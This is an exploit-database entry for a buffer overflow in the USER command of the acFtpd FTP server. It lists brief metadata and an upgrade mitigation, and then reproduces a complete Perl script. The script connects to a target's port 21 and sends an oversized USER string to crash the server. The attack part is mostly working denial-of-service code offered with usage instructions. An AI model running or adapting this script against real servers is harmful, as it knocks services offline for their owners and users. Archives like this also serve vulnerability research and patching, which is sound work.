acFtpd BoF Crash Exploit

vendor:

acFtpd

by:

Preddy

7,5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: acFtpd

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2006

There is a Buffer overflow at the USER command in acFtpd. The exploit can be used by sending an overflow string to the FTP server. This will cause the server to crash.

Mitigation:

Upgrade to the latest version of acFtpd.

Source

Exploit-DB raw data:

 ################################################
#===== acFtpd BoF Crash Exploit =====
#
# There is a Buffer overflow at the
# USER command in acFtpd.
#
# Vuln found by: Preddy
# RootShell Security Group
#
# Usage: ac_dos.pl <ip>
################################################

use IO::Socket;
use Win32;
use strict;

my($i)      = "";
my($socket) = "";
my $overflow = "A{" x 4700;

if($ARGV[0] == "")
{
print "################################################\n";
print "# ===== acFtpd BoF Crash Exploit =====\n";
print "#\n";
print "# Vuln found by: Preddy\n";
print "# RootShell Security Group\n";
print "# www.rootshell-security.net\n";
print "#\n";
print "# Usage ac_dos.pl <ip>\n";
print "################################################\n";
}

        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                print "Sending Overflow String!\n";
                print "Ftp should be crashed!\n";

                Win32::Sleep(300);

                print $socket "USER $overflow\r\n";

                Win32::Sleep(100);


                close($socket);
        }

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